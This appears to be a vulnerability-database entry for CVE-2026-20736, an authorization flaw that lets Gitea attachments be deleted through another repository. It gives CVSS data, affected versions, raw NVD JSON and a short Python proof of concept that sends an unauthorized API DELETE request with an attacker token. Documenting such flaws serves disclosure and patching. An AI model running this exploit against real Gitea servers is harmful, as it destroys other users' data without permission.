Security Vulnerability Report
中文
CVE-2026-20736 CVSS 7.5 HIGH

CVE-2026-20736

Published: 2026-01-22 22:16:17
Last Modified: 2026-01-29 21:46:59
Source: 88ee5874-cf24-4952-aea0-31affedb7ff2

Description

Gitea does not properly verify repository context when deleting attachments. A user who previously uploaded an attachment to a repository may be able to delete it after losing access to that repository by making the request through a different repository they can access.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.25.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20736 PoC - Gitea Attachment Deletion Authorization Bypass # This PoC demonstrates deleting attachments from repositories without proper access import requests import json TARGET = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your-attacker-token" def delete_attachment_through_cross_repo(attachment_id, valid_repo_id, orphaned_repo_id): """ Delete attachment from orphaned_repo by making request through valid_repo """ # Step 1: Attempt to delete attachment via valid repository context url = f"{TARGET}/api/v1/repos/{valid_repo_id}/attachments/{attachment_id}" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The vulnerable endpoint doesn't properly verify the attachment belongs to this repo response = requests.delete(url, headers=headers) if response.status_code == 204: print(f"[+] Successfully deleted attachment {attachment_id}") print(f"[+] Attachment was from repo {orphaned_repo_id} but deleted via {valid_repo_id}") return True else: print(f"[-] Failed to delete attachment: {response.status_code}") return False # Example usage # delete_attachment_through_cross_repo("attachment-uuid", "attacker-owned-repo", "victim-repo")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20736", "sourceIdentifier": "88ee5874-cf24-4952-aea0-31affedb7ff2", "published": "2026-01-22T22:16:17.207", "lastModified": "2026-01-29T21:46:59.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea does not properly verify repository context when deleting attachments. A user who previously uploaded an attachment to a repository may be able to delete it after losing access to that repository by making the request through a different repository they can access."}, {"lang": "es", "value": "Gitea no verifica correctamente el contexto del repositorio al eliminar adjuntos. Un usuario que previamente subió un adjunto a un repositorio podría eliminarlo después de perder el acceso a ese repositorio al realizar la solicitud a través de un repositorio diferente al que puede acceder."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.25.4", "matchCriteriaId": "DFCB7D74-331D-4582-AB41-113A25BE8FAA"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.25.4/", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/36320", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.4", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-jr6h-pwwp-c8g6", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Broken Link"]}]}}